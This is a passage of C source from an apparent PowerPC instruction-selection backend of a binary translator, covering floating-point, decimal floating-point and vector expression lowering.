Iend_BE) { PPCAMode* am_addr; HReg r_dst = newVRegF(env); vassert(e->Iex.Load.ty == Ity_F32); am_addr = iselWordExpr_AMode(env, e->Iex.Load.addr, Ity_F32); addInstr(env, PPCInstr_FpLdSt(True, 4, r_dst, am_addr)); return r_dst; } if (e->tag == Iex_Get) { HReg r_dst = newVRegF(env); PPCAMode* am_addr = PPCAMode_IR( e->Iex.Get.offset, GuestStatePtr(env->mode64) ); addInstr(env, PPCInstr_FpLdSt( True, 4, r_dst, am_addr )); return r_dst; } if (e->tag == Iex_Unop && e->Iex.Unop.op == Iop_TruncF64asF32) { /* This is quite subtle. The only way to do the relevant truncation is to do a single-precision store and then a double precision load to get it back into a register. The problem is, if the data is then written to memory a second time, as in STbe(...) = TruncF64asF32(...) then will the second truncation further alter the value? The answer is no: flds (as generated here) followed by fsts (generated for the STbe) is the identity function on 32-bit floats, so we are safe. Another upshot of this is that if iselStmt can see the entirety of STbe(...) = TruncF64asF32(arg) then it can short circuit having to deal with TruncF64asF32 individually; instead just compute arg into a 64-bit FP register and do 'fsts' (since that itself does the truncation). We generate pretty poor code here (should be ok both for 32-bit and 64-bit mode); but it is expected that for the most part the latter optimisation will apply and hence this code will not often be used. */ HReg fsrc = iselDblExpr(env, e->Iex.Unop.arg); HReg fdst = newVRegF(env); PPCAMode* zero_r1 = PPCAMode_IR( 0, StackFramePtr(env->mode64) ); sub_from_sp( env, 16 ); addInstr(env, PPCInstr_FpLdSt( False, 4, fsrc, zero_r1 )); addInstr(env, PPCInstr_FpLdSt( True, 4, fdst, zero_r1 )); add_to_sp( env, 16 ); return fdst; } if (e->tag == Iex_Binop && e->Iex.Binop.op == Iop_I64UtoF32) { if (mode64) { HReg fdst = newVRegF(env); HReg isrc = iselWordExpr_R(env, e->Iex.Binop.arg2); HReg r1 = StackFramePtr(env->mode64); PPCAMode* zero_r1 = PPCAMode_IR( 0, r1 ); set_FPU_rounding_mode( env, e->Iex.Binop.arg1 ); sub_from_sp( env, 16 ); addInstr(env, PPCInstr_Store(8, zero_r1, isrc, True)); addInstr(env, PPCInstr_FpLdSt(True, 8, fdst, zero_r1)); addInstr(env, PPCInstr_FpCftI(True, False, False, False, fdst, fdst)); add_to_sp( env, 16 ); return fdst; } else { HReg fdst = newVRegF(env); HReg isrcHi, isrcLo; HReg r1 = StackFramePtr(env->mode64); PPCAMode* zero_r1 = PPCAMode_IR( 0, r1 ); PPCAMode* four_r1 = PPCAMode_IR( 4, r1 ); iselInt64Expr(&isrcHi, &isrcLo, env, e->Iex.Binop.arg2); set_FPU_rounding_mode( env, e->Iex.Binop.arg1 ); sub_from_sp( env, 16 ); addInstr(env, PPCInstr_Store(4, zero_r1, isrcHi, False)); addInstr(env, PPCInstr_Store(4, four_r1, isrcLo, False)); addInstr(env, PPCInstr_FpLdSt(True, 8, fdst, zero_r1)); addInstr(env, PPCInstr_FpCftI(True, False, False, False, fdst, fdst)); add_to_sp( env, 16 ); return fdst; } } vex_printf("iselFltExpr(ppc): No such tag(%u)\n", e->tag); ppIRExpr(e); vpanic("iselFltExpr_wrk(ppc)"); } static HReg iselDblExpr ( ISelEnv* env, IRExpr* e ) { HReg r = iselDblExpr_wrk( env, e ); # if 0 vex_printf("\n"); ppIRExpr(e); vex_printf("\n"); # endif vassert(hregClass(r) == HRcFlt64); vassert(hregIsVirtual(r)); return r; } static HReg iselDblExpr_wrk ( ISelEnv* env, IRExpr* e ) { Bool mode64 = env->mode64; IRType ty = typeOfIRExpr(env->type_env,e); vassert(e); vassert(ty == Ity_F64); if (e->tag == Iex_RdTmp) { return lookupIRTemp(env, e->Iex.RdTmp.tmp); } if (e->tag == Iex_Const) { union { UInt u32x2[2]; ULong u64; Double f64; } u; vassert(sizeof(u) == 8); vassert(sizeof(u.u64) == 8); vassert(sizeof(u.f64) == 8); vassert(sizeof(u.u32x2) == 8); if (e->Iex.Const.con->tag == Ico_F64) { u.f64 = e->Iex.Const.con->Ico.F64; } else if (e->Iex.Const.con->tag == Ico_F64i) { u.u64 = e->Iex.Const.con->Ico.F64i; } else vpanic("iselDblExpr(ppc): const"); if (!mode64) { HReg r_srcHi = newVRegI(env); HReg r_srcLo = newVRegI(env); addInstr(env, PPCInstr_LI(r_srcHi, u.u32x2[0], mode64)); addInstr(env, PPCInstr_LI(r_srcLo, u.u32x2[1], mode64)); return mk_LoadRR32toFPR( env, r_srcHi, r_srcLo ); } else { HReg r_src = newVRegI(env); addInstr(env, PPCInstr_LI(r_src, u.u64, mode64)); return mk_LoadR64toFPR( env, r_src ); } } if (e->tag == Iex_Load && e->Iex.Load.end == Iend_BE) { HReg r_dst = newVRegF(env); PPCAMode* am_addr; vassert(e->Iex.Load.ty == Ity_F64); am_addr = iselWordExpr_AMode(env, e->Iex.Load.addr, Ity_F64); addInstr(env, PPCInstr_FpLdSt(True, 8, r_dst, am_addr)); return r_dst; } if (e->tag == Iex_Get) { HReg r_dst = newVRegF(env); PPCAMode* am_addr = PPCAMode_IR( e->Iex.Get.offset, GuestStatePtr(mode64) ); addInstr(env, PPCInstr_FpLdSt( True, 8, r_dst, am_addr )); return r_dst; } if (e->tag == Iex_Qop) { PPCFpOp fpop = Pfp_INVALID; switch (e->Iex.Qop.details->op) { case Iop_MAddF64: fpop = Pfp_MADDD; break; case Iop_MAddF64r32: fpop = Pfp_MADDS; break; case Iop_MSubF64: fpop = Pfp_MSUBD; break; case Iop_MSubF64r32: fpop = Pfp_MSUBS; break; default: break; } if (fpop != Pfp_INVALID) { HReg r_dst = newVRegF(env); HReg r_srcML = iselDblExpr(env, e->Iex.Qop.details->arg2); HReg r_srcMR = iselDblExpr(env, e->Iex.Qop.details->arg3); HReg r_srcAcc = iselDblExpr(env, e->Iex.Qop.details->arg4); set_FPU_rounding_mode( env, e->Iex.Qop.details->arg1 ); addInstr(env, PPCInstr_FpMulAcc(fpop, r_dst, r_srcML, r_srcMR, r_srcAcc)); return r_dst; } } if (e->tag == Iex_Triop) { IRTriop *triop = e->Iex.Triop.details; PPCFpOp fpop = Pfp_INVALID; switch (triop->op) { case Iop_AddF64: fpop = Pfp_ADDD; break; case Iop_SubF64: fpop = Pfp_SUBD; break; case Iop_MulF64: fpop = Pfp_MULD; break; case Iop_DivF64: fpop = Pfp_DIVD; break; case Iop_AddF64r32: fpop = Pfp_ADDS; break; case Iop_SubF64r32: fpop = Pfp_SUBS; break; case Iop_MulF64r32: fpop = Pfp_MULS; break; case Iop_DivF64r32: fpop = Pfp_DIVS; break; default: break; } if (fpop != Pfp_INVALID) { HReg r_dst = newVRegF(env); HReg r_srcL = iselDblExpr(env, triop->arg2); HReg r_srcR = iselDblExpr(env, triop->arg3); set_FPU_rounding_mode( env, triop->arg1 ); addInstr(env, PPCInstr_FpBinary(fpop, r_dst, r_srcL, r_srcR)); return r_dst; } switch (triop->op) { case Iop_QuantizeD64: fpop = Pfp_DQUA; break; case Iop_SignificanceRoundD64: fpop = Pfp_RRDTR; break; default: break; } if (fpop != Pfp_INVALID) { HReg r_dst = newVRegF(env); HReg r_srcL = iselDblExpr(env, triop->arg2); HReg r_srcR = iselDblExpr(env, triop->arg3); PPCRI* rmc = iselWordExpr_RI(env, triop->arg1); addInstr(env, PPCInstr_DfpQuantize(fpop, r_dst, r_srcL, r_srcR, rmc)); return r_dst; } } if (e->tag == Iex_Binop) { PPCFpOp fpop = Pfp_INVALID; switch (e->Iex.Binop.op) { case Iop_SqrtF64: fpop = Pfp_SQRT; break; case Iop_I64StoD64: fpop = Pfp_DCFFIX; break; case Iop_D64toI64S: fpop = Pfp_DCTFIX; break; default: break; } if (fpop != Pfp_INVALID) { HReg fr_dst = newVRegF(env); HReg fr_src = iselDblExpr(env, e->Iex.Binop.arg2); set_FPU_rounding_mode( env, e->Iex.Binop.arg1 ); addInstr(env, PPCInstr_FpUnary(fpop, fr_dst, fr_src)); return fr_dst; } } if (e->tag == Iex_Binop) { if (e->Iex.Binop.op == Iop_RoundF64toF32) { HReg r_dst = newVRegF(env); HReg r_src = iselDblExpr(env, e->Iex.Binop.arg2); set_FPU_rounding_mode( env, e->Iex.Binop.arg1 ); addInstr(env, PPCInstr_FpRSP(r_dst, r_src)); return r_dst; } if (e->Iex.Binop.op == Iop_I64StoF64 || e->Iex.Binop.op == Iop_I64UtoF64) { if (mode64) { HReg fdst = newVRegF(env); HReg isrc = iselWordExpr_R(env, e->Iex.Binop.arg2); HReg r1 = StackFramePtr(env->mode64); PPCAMode* zero_r1 = PPCAMode_IR( 0, r1 ); set_FPU_rounding_mode( env, e->Iex.Binop.arg1 ); sub_from_sp( env, 16 ); addInstr(env, PPCInstr_Store(8, zero_r1, isrc, True)); addInstr(env, PPCInstr_FpLdSt(True, 8, fdst, zero_r1)); addInstr(env, PPCInstr_FpCftI(True, False, e->Iex.Binop.op == Iop_I64StoF64, True, fdst, fdst)); add_to_sp( env, 16 ); return fdst; } else { HReg fdst = newVRegF(env); HReg isrcHi, isrcLo; HReg r1 = StackFramePtr(env->mode64); PPCAMode* zero_r1 = PPCAMode_IR( 0, r1 ); PPCAMode* four_r1 = PPCAMode_IR( 4, r1 ); iselInt64Expr(&isrcHi, &isrcLo, env, e->Iex.Binop.arg2); set_FPU_rounding_mode( env, e->Iex.Binop.arg1 ); sub_from_sp( env, 16 ); addInstr(env, PPCInstr_Store(4, zero_r1, isrcHi, False)); addInstr(env, PPCInstr_Store(4, four_r1, isrcLo, False)); addInstr(env, PPCInstr_FpLdSt(True, 8, fdst, zero_r1)); addInstr(env, PPCInstr_FpCftI(True, False, e->Iex.Binop.op == Iop_I64StoF64, True, fdst, fdst)); add_to_sp( env, 16 ); return fdst; } } } if (e->tag == Iex_Unop) { PPCFpOp fpop = Pfp_INVALID; switch (e->Iex.Unop.op) { case Iop_NegF64: fpop = Pfp_NEG; break; case Iop_AbsF64: fpop = Pfp_ABS; break; case Iop_Est5FRSqrt: fpop = Pfp_RSQRTE; break; case Iop_RoundF64toF64_NegINF: fpop = Pfp_FRIM; break; case Iop_RoundF64toF64_PosINF: fpop = Pfp_FRIP; break; case Iop_RoundF64toF64_NEAREST: fpop = Pfp_FRIN; break; case Iop_RoundF64toF64_ZERO: fpop = Pfp_FRIZ; break; case Iop_ExtractExpD64: fpop = Pfp_DXEX; break; default: break; } if (fpop != Pfp_INVALID) { HReg fr_dst = newVRegF(env); HReg fr_src = iselDblExpr(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_FpUnary(fpop, fr_dst, fr_src)); return fr_dst; } } if (e->tag == Iex_Unop) { switch (e->Iex.Unop.op) { case Iop_ReinterpI64asF64: { if (!mode64) { HReg r_srcHi, r_srcLo; iselInt64Expr( &r_srcHi, &r_srcLo, env, e->Iex.Unop.arg); return mk_LoadRR32toFPR( env, r_srcHi, r_srcLo ); } else { HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); return mk_LoadR64toFPR( env, r_src ); } } case Iop_F32toF64: { if (e->Iex.Unop.arg->tag == Iex_Unop && e->Iex.Unop.arg->Iex.Unop.op == Iop_ReinterpI32asF32 ) { e = e->Iex.Unop.arg; HReg src = iselWordExpr_R(env, e->Iex.Unop.arg); HReg fr_dst = newVRegF(env); PPCAMode *am_addr; sub_from_sp( env, 16 ); am_addr = PPCAMode_IR( 0, StackFramePtr(env->mode64) ); addInstr(env, PPCInstr_Store( 4, am_addr, src, env->mode64 )); addInstr(env, PPCInstr_FpLdSt(True, 4, fr_dst, am_addr)); add_to_sp( env, 16 ); return fr_dst; } HReg res = iselFltExpr(env, e->Iex.Unop.arg); return res; } default: break; } } if (e->tag == Iex_Mux0X) { if (ty == Ity_F64 && typeOfIRExpr(env->type_env,e->Iex.Mux0X.cond) == Ity_I8) { PPCCondCode cc = mk_PPCCondCode( Pct_TRUE, Pcf_7EQ ); HReg r_cond = iselWordExpr_R(env, e->Iex.Mux0X.cond); HReg frX = iselDblExpr(env, e->Iex.Mux0X.exprX); HReg fr0 = iselDblExpr(env, e->Iex.Mux0X.expr0); HReg fr_dst = newVRegF(env); HReg r_tmp = newVRegI(env); addInstr(env, PPCInstr_Alu(Palu_AND, r_tmp, r_cond, PPCRH_Imm(False,0xFF))); addInstr(env, PPCInstr_FpUnary( Pfp_MOV, fr_dst, frX )); addInstr(env, PPCInstr_Cmp(False, True, 7, r_tmp, PPCRH_Imm(False,0))); addInstr(env, PPCInstr_FpCMov( cc, fr_dst, fr0 )); return fr_dst; } } vex_printf("iselDblExpr(ppc): No such tag(%u)\n", e->tag); ppIRExpr(e); vpanic("iselDblExpr_wrk(ppc)"); } static HReg iselDfp64Expr(ISelEnv* env, IRExpr* e) { HReg r = iselDfp64Expr_wrk( env, e ); vassert(hregClass(r) == HRcFlt64); vassert( hregIsVirtual(r) ); return r; } static HReg iselDfp64Expr_wrk(ISelEnv* env, IRExpr* e) { Bool mode64 = env->mode64; IRType ty = typeOfIRExpr( env->type_env, e ); HReg r_dstHi, r_dstLo; vassert( e ); vassert( ty == Ity_D64 ); if (e->tag == Iex_RdTmp) { return lookupIRTemp( env, e->Iex.RdTmp.tmp ); } if (e->tag == Iex_Get) { HReg r_dst = newVRegF( env ); PPCAMode* am_addr = PPCAMode_IR( e->Iex.Get.offset, GuestStatePtr(mode64) ); addInstr( env, PPCInstr_FpLdSt( True, 8, r_dst, am_addr ) ); return r_dst; } if (e->tag == Iex_Qop) { HReg r_dst = newVRegF( env ); return r_dst; } if (e->tag == Iex_Unop) { HReg fr_dst = newVRegF(env); switch (e->Iex.Unop.op) { case Iop_ReinterpI64asD64: { if (!mode64) { HReg r_srcHi, r_srcLo; iselInt64Expr( &r_srcHi, &r_srcLo, env, e->Iex.Unop.arg); return mk_LoadRR32toFPR( env, r_srcHi, r_srcLo ); } else { HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); return mk_LoadR64toFPR( env, r_src ); } } case Iop_ExtractExpD64: { HReg fr_src = iselDfp64Expr(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Dfp64Unary(Pfp_DXEX, fr_dst, fr_src)); return fr_dst; } case Iop_ExtractExpD128: { HReg r_srcHi; HReg r_srcLo; iselDfp128Expr(&r_srcHi, &r_srcLo, env, e->Iex.Unop.arg); addInstr(env, PPCInstr_ExtractExpD128(Pfp_DXEXQ, fr_dst, r_srcHi, r_srcLo)); return fr_dst; } case Iop_D32toD64: { HReg fr_src = iselDfp64Expr(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Dfp64Unary(Pfp_DCTDP, fr_dst, fr_src)); return fr_dst; } case Iop_D128HItoD64: iselDfp128Expr( &r_dstHi, &r_dstLo, env, e->Iex.Unop.arg ); return r_dstHi; case Iop_D128LOtoD64: iselDfp128Expr( &r_dstHi, &r_dstLo, env, e->Iex.Unop.arg ); return r_dstLo; case Iop_InsertExpD64: { HReg fr_srcL = iselDblExpr(env, e->Iex.Binop.arg1); HReg fr_srcR = iselDblExpr(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_Dfp64Binary(Pfp_DIEX, fr_dst, fr_srcL, fr_srcR)); return fr_dst; } default: vex_printf( "ERROR: iselDfp64Expr_wrk, UNKNOWN unop case %d\n", e->Iex.Unop.op ); } } if (e->tag == Iex_Binop) { switch (e->Iex.Binop.op) { case Iop_D128toI64S: { PPCFpOp fpop = Pfp_DCTFIXQ; HReg fr_dst = newVRegF(env); HReg r_srcHi = newVRegF(env); HReg r_srcLo = newVRegF(env); set_FPU_DFP_rounding_mode( env, e->Iex.Binop.arg1 ); iselDfp128Expr(&r_srcHi, &r_srcLo, env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_DfpD128toD64(fpop, fr_dst, r_srcHi, r_srcLo)); return fr_dst; } case Iop_D128toD64: { PPCFpOp fpop = Pfp_DRDPQ; HReg fr_dst = newVRegF(env); HReg r_srcHi = newVRegF(env); HReg r_srcLo = newVRegF(env); set_FPU_DFP_rounding_mode( env, e->Iex.Binop.arg1 ); iselDfp128Expr(&r_srcHi, &r_srcLo, env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_DfpD128toD64(fpop, fr_dst, r_srcHi, r_srcLo)); return fr_dst; } break; default: break; } if (e->Iex.Unop.op == Iop_RoundD64toInt) { HReg fr_dst = newVRegF(env); HReg fr_src = newVRegF(env); PPCRI* r_rmc = iselWordExpr_RI(env, e->Iex.Binop.arg1); fr_src = iselDfp64Expr(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_DfpRound(fr_dst, fr_src, r_rmc)); return fr_dst; } } if (e->tag == Iex_Binop) { PPCFpOp fpop = Pfp_INVALID; HReg fr_dst = newVRegF(env); switch (e->Iex.Binop.op) { case Iop_D64toD32: fpop = Pfp_DRSP; break; case Iop_I64StoD64: fpop = Pfp_DCFFIX; break; case Iop_D64toI64S: fpop = Pfp_DCTFIX; break; default: break; } if (fpop != Pfp_INVALID) { HReg fr_src = iselDfp64Expr(env, e->Iex.Binop.arg2); set_FPU_DFP_rounding_mode( env, e->Iex.Binop.arg1 ); addInstr(env, PPCInstr_Dfp64Unary(fpop, fr_dst, fr_src)); return fr_dst; } switch (e->Iex.Binop.op) { case Iop_ShlD64: fpop = Pfp_DSCLI; break; case Iop_ShrD64: fpop = Pfp_DSCRI; break; default: break; } if (fpop != Pfp_INVALID) { HReg fr_src = iselDfp64Expr(env, e->Iex.Binop.arg1); PPCRI* shift = iselWordExpr_RI(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_DfpShift(fpop, fr_dst, fr_src, shift)); return fr_dst; } switch (e->Iex.Binop.op) { case Iop_InsertExpD64: fpop = Pfp_DIEX; break; default: break; } if (fpop != Pfp_INVALID) { HReg fr_srcL = iselDfp64Expr(env, e->Iex.Binop.arg1); HReg fr_srcR = iselDfp64Expr(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_Dfp64Binary(fpop, fr_dst, fr_srcL, fr_srcR)); return fr_dst; } } if (e->tag == Iex_Triop) { IRTriop *triop = e->Iex.Triop.details; PPCFpOp fpop = Pfp_INVALID; switch (triop->op) { case Iop_AddD64: fpop = Pfp_DFPADD; break; case Iop_SubD64: fpop = Pfp_DFPSUB; break; case Iop_MulD64: fpop = Pfp_DFPMUL; break; case Iop_DivD64: fpop = Pfp_DFPDIV; break; default: break; } if (fpop != Pfp_INVALID) { HReg r_dst = newVRegF( env ); HReg r_srcL = iselDfp64Expr( env, triop->arg2 ); HReg r_srcR = iselDfp64Expr( env, triop->arg3 ); set_FPU_DFP_rounding_mode( env, triop->arg1 ); addInstr( env, PPCInstr_Dfp64Binary( fpop, r_dst, r_srcL, r_srcR ) ); return r_dst; } switch (triop->op) { case Iop_QuantizeD64: fpop = Pfp_DQUA; break; case Iop_SignificanceRoundD64: fpop = Pfp_RRDTR; break; default: break; } if (fpop != Pfp_INVALID) { HReg r_dst = newVRegF(env); HReg r_srcL = iselDfp64Expr(env, triop->arg2); HReg r_srcR = iselDfp64Expr(env, triop->arg3); PPCRI* rmc = iselWordExpr_RI(env, triop->arg1); addInstr(env, PPCInstr_DfpQuantize(fpop, r_dst, r_srcL, r_srcR, rmc)); return r_dst; } } ppIRExpr( e ); vpanic( "iselDfp64Expr_wrk(ppc)" ); } static void iselDfp128Expr(HReg* rHi, HReg* rLo, ISelEnv* env, IRExpr* e) { iselDfp128Expr_wrk( rHi, rLo, env, e ); vassert( hregIsVirtual(*rHi) ); vassert( hregIsVirtual(*rLo) ); } static void iselDfp128Expr_wrk(HReg* rHi, HReg *rLo, ISelEnv* env, IRExpr* e) { vassert( e ); vassert( typeOfIRExpr(env->type_env,e) == Ity_D128 ); if (e->tag == Iex_RdTmp) { lookupIRTempPair( rHi, rLo, env, e->Iex.RdTmp.tmp ); return; } if (e->tag == Iex_Unop) { PPCFpOp fpop = Pfp_INVALID; HReg r_dstHi = newVRegF(env); HReg r_dstLo = newVRegF(env); if (e->Iex.Unop.op == Iop_I64StoD128) { HReg r_src = iselDfp64Expr(env, e->Iex.Unop.arg); fpop = Pfp_DCFFIXQ; addInstr(env, PPCInstr_DfpI64StoD128(fpop, r_dstHi, r_dstLo, r_src)); } if (e->Iex.Unop.op == Iop_D64toD128) { HReg r_src = iselDfp64Expr(env, e->Iex.Unop.arg); fpop = Pfp_DCTQPQ; addInstr(env, PPCInstr_Dfp128Unary(fpop, r_dstHi, r_dstLo, r_src, r_src)); } *rHi = r_dstHi; *rLo = r_dstLo; return; } if (e->tag == Iex_Binop) { HReg r_srcHi; HReg r_srcLo; switch (e->Iex.Binop.op) { case Iop_D64HLtoD128: r_srcHi = iselDfp64Expr( env, e->Iex.Binop.arg1 ); r_srcLo = iselDfp64Expr( env, e->Iex.Binop.arg2 ); *rHi = r_srcHi; *rLo = r_srcLo; return; break; case Iop_D128toD64: { PPCFpOp fpop = Pfp_DRDPQ; HReg fr_dst = newVRegF(env); set_FPU_rounding_mode( env, e->Iex.Binop.arg1 ); iselDfp128Expr(&r_srcHi, &r_srcLo, env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_DfpD128toD64(fpop, fr_dst, r_srcHi, r_srcLo)); *rHi = fr_dst; *rLo = fr_dst; return; } case Iop_ShlD128: case Iop_ShrD128: { HReg fr_dst_hi = newVRegF(env); HReg fr_dst_lo = newVRegF(env); PPCRI* shift = iselWordExpr_RI(env, e->Iex.Binop.arg2); PPCFpOp fpop = Pfp_DSCLIQ; iselDfp128Expr(&r_srcHi, &r_srcLo, env, e->Iex.Binop.arg1); if (e->Iex.Binop.op == Iop_ShrD128) fpop = Pfp_DSCRIQ; addInstr(env, PPCInstr_DfpShift128(fpop, fr_dst_hi, fr_dst_lo, r_srcHi, r_srcLo, shift)); *rHi = fr_dst_hi; *rLo = fr_dst_lo; return; } case Iop_RoundD128toInt: { HReg r_dstHi = newVRegF(env); HReg r_dstLo = newVRegF(env); PPCRI* r_rmc = iselWordExpr_RI(env, e->Iex.Binop.arg1); iselDfp128Expr(&r_srcHi, &r_srcLo, env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_DfpRound128(r_dstHi, r_dstLo, r_srcHi, r_srcLo, r_rmc)); *rHi = r_dstHi; *rLo = r_dstLo; return; } case Iop_InsertExpD128: { HReg r_dstHi = newVRegF(env); HReg r_dstLo = newVRegF(env); HReg r_srcL = newVRegF(env); r_srcL = iselDfp64Expr(env, e->Iex.Binop.arg1); iselDfp128Expr(&r_srcHi, &r_srcLo, env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_InsertExpD128(Pfp_DIEXQ, r_dstHi, r_dstLo, r_srcL, r_srcHi, r_srcLo)); *rHi = r_dstHi; *rLo = r_dstLo; return; } default: vex_printf( "ERROR: iselDfp128Expr_wrk, UNKNOWN binop case %d\n", e->Iex.Binop.op ); break; } } if (e->tag == Iex_Triop) { IRTriop *triop = e->Iex.Triop.details; PPCFpOp fpop = Pfp_INVALID; switch (triop->op) { case Iop_AddD128: fpop = Pfp_DFPADDQ; break; case Iop_SubD128: fpop = Pfp_DFPSUBQ; break; case Iop_MulD128: fpop = Pfp_DFPMULQ; break; case Iop_DivD128: fpop = Pfp_DFPDIVQ; break; default: break; } if (fpop != Pfp_INVALID) { HReg r_dstHi = newVRegV( env ); HReg r_dstLo = newVRegV( env ); HReg r_srcRHi = newVRegV( env ); HReg r_srcRLo = newVRegV( env ); iselDfp128Expr( &r_dstHi, &r_dstLo, env, triop->arg2 ); iselDfp128Expr( &r_srcRHi, &r_srcRLo, env, triop->arg3 ); set_FPU_rounding_mode( env, triop->arg1 ); addInstr( env, PPCInstr_Dfp128Binary( fpop, r_dstHi, r_dstLo, r_srcRHi, r_srcRLo ) ); *rHi = r_dstHi; *rLo = r_dstLo; return; } switch (triop->op) { case Iop_QuantizeD128: fpop = Pfp_DQUAQ; break; case Iop_SignificanceRoundD128: fpop = Pfp_DRRNDQ; break; default: break; } if (fpop != Pfp_INVALID) { HReg r_dstHi = newVRegF(env); HReg r_dstLo = newVRegF(env); HReg r_srcHi = newVRegF(env); HReg r_srcLo = newVRegF(env); PPCRI* rmc = iselWordExpr_RI(env, triop->arg1); iselDfp128Expr(&r_dstHi, &r_dstLo, env, triop->arg2); iselDfp128Expr(&r_srcHi, &r_srcLo, env, triop->arg3); addInstr(env, PPCInstr_DfpQuantize128(fpop, r_dstHi, r_dstLo, r_srcHi, r_srcLo, rmc)); *rHi = r_dstHi; *rLo = r_dstLo; return; } } ppIRExpr( e ); vpanic( "iselDfp128Expr(ppc64)" ); } static HReg iselVecExpr ( ISelEnv* env, IRExpr* e ) { HReg r = iselVecExpr_wrk( env, e ); # if 0 vex_printf("\n"); ppIRExpr(e); vex_printf("\n"); # endif vassert(hregClass(r) == HRcVec128); vassert(hregIsVirtual(r)); return r; } static HReg iselVecExpr_wrk ( ISelEnv* env, IRExpr* e ) { Bool mode64 = env->mode64; PPCAvOp op = Pav_INVALID; PPCAvFpOp fpop = Pavfp_INVALID; IRType ty = typeOfIRExpr(env->type_env,e); vassert(e); vassert(ty == Ity_V128); if (e->tag == Iex_RdTmp) { return lookupIRTemp(env, e->Iex.RdTmp.tmp); } if (e->tag == Iex_Get) { HReg dst = newVRegV(env); addInstr(env, PPCInstr_AvLdSt( True, 16, dst, PPCAMode_IR( e->Iex.Get.offset, GuestStatePtr(mode64) ))); return dst; } if (e->tag == Iex_Load && e->Iex.Load.end == Iend_BE) { PPCAMode* am_addr; HReg v_dst = newVRegV(env); vassert(e->Iex.Load.ty == Ity_V128); am_addr = iselWordExpr_AMode(env, e->Iex.Load.addr, Ity_V128); addInstr(env, PPCInstr_AvLdSt( True, 16, v_dst, am_addr)); return v_dst; } if (e->tag == Iex_Unop) { switch (e->Iex.Unop.op) { case Iop_NotV128: { HReg arg = iselVecExpr(env, e->Iex.Unop.arg); HReg dst = newVRegV(env); addInstr(env, PPCInstr_AvUnary(Pav_NOT, dst, arg)); return dst; } case Iop_CmpNEZ8x16: { HReg arg = iselVecExpr(env, e->Iex.Unop.arg); HReg zero = newVRegV(env); HReg dst = newVRegV(env); addInstr(env, PPCInstr_AvBinary(Pav_XOR, zero, zero, zero)); addInstr(env, PPCInstr_AvBin8x16(Pav_CMPEQU, dst, arg, zero)); addInstr(env, PPCInstr_AvUnary(Pav_NOT, dst, dst)); return dst; } case Iop_CmpNEZ16x8: { HReg arg = iselVecExpr(env, e->Iex.Unop.arg); HReg zero = newVRegV(env); HReg dst = newVRegV(env); addInstr(env, PPCInstr_AvBinary(Pav_XOR, zero, zero, zero)); addInstr(env, PPCInstr_AvBin16x8(Pav_CMPEQU, dst, arg, zero)); addInstr(env, PPCInstr_AvUnary(Pav_NOT, dst, dst)); return dst; } case Iop_CmpNEZ32x4: { HReg arg = iselVecExpr(env, e->Iex.Unop.arg); HReg zero = newVRegV(env); HReg dst = newVRegV(env); addInstr(env, PPCInstr_AvBinary(Pav_XOR, zero, zero, zero)); addInstr(env, PPCInstr_AvBin32x4(Pav_CMPEQU, dst, arg, zero)); addInstr(env, PPCInstr_AvUnary(Pav_NOT, dst, dst)); return dst; } case Iop_Recip32Fx4: fpop = Pavfp_RCPF; goto do_32Fx4_unary; case Iop_RSqrt32Fx4: fpop = Pavfp_RSQRTF; goto do_32Fx4_unary; case Iop_I32UtoFx4: fpop = Pavfp_CVTU2F; goto do_32Fx4_unary; case Iop_I32StoFx4: fpop = Pavfp_CVTS2F; goto do_32Fx4_unary; case Iop_QFtoI32Ux4_RZ: fpop = Pavfp_QCVTF2U; goto do_32Fx4_unary; case Iop_QFtoI32Sx4_RZ: fpop = Pavfp_QCVTF2S; goto do_32Fx4_unary; case Iop_RoundF32x4_RM: fpop = Pavfp_ROUNDM; goto do_32Fx4_unary; case Iop_RoundF32x4_RP: fpop = Pavfp_ROUNDP; goto do_32Fx4_unary; case Iop_RoundF32x4_RN: fpop = Pavfp_ROUNDN; goto do_32Fx4_unary; case Iop_RoundF32x4_RZ: fpop = Pavfp_ROUNDZ; goto do_32Fx4_unary; do_32Fx4_unary: { HReg arg = iselVecExpr(env, e->Iex.Unop.arg); HReg dst = newVRegV(env); addInstr(env, PPCInstr_AvUn32Fx4(fpop, dst, arg)); return dst; } case Iop_32UtoV128: { HReg r_aligned16, r_zeros; HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); HReg dst = newVRegV(env); PPCAMode *am_off0, *am_off4, *am_off8, *am_off12; sub_from_sp( env, 32 ); r_aligned16 = get_sp_aligned16( env ); am_off0 = PPCAMode_IR( 0, r_aligned16 ); am_off4 = PPCAMode_IR( 4, r_aligned16 ); am_off8 = PPCAMode_IR( 8, r_aligned16 ); am_off12 = PPCAMode_IR( 12, r_aligned16 ); r_zeros = newVRegI(env); addInstr(env, PPCInstr_LI(r_zeros, 0x0, mode64)); addInstr(env, PPCInstr_Store( 4, am_off0, r_zeros, mode64 )); addInstr(env, PPCInstr_Store( 4, am_off4, r_zeros, mode64 )); addInstr(env, PPCInstr_Store( 4, am_off8, r_zeros, mode64 )); addInstr(env, PPCInstr_Store( 4, am_off12, r_src, mode64 )); addInstr(env, PPCInstr_AvLdSt( True, 4, dst, am_off12 )); add_to_sp( env, 32 ); return dst; } case Iop_Dup8x16: case Iop_Dup16x8: case Iop_Dup32x4: return mk_AvDuplicateRI(env, e->Iex.Unop.arg); default: break; } } if (e->tag == Iex_Binop) { switch (e->Iex.Binop.op) { case Iop_64HLtoV128: { if (!mode64) { HReg r3, r2, r1, r0, r_aligned16; PPCAMode *am_off0, *am_off4, *am_off8, *am_off12; HReg dst = newVRegV(env); sub_from_sp( env, 32 ); r_aligned16 = get_sp_aligned16( env ); am_off0 = PPCAMode_IR( 0, r_aligned16 ); am_off4 = PPCAMode_IR( 4, r_aligned16 ); am_off8 = PPCAMode_IR( 8, r_aligned16 ); am_off12 = PPCAMode_IR( 12, 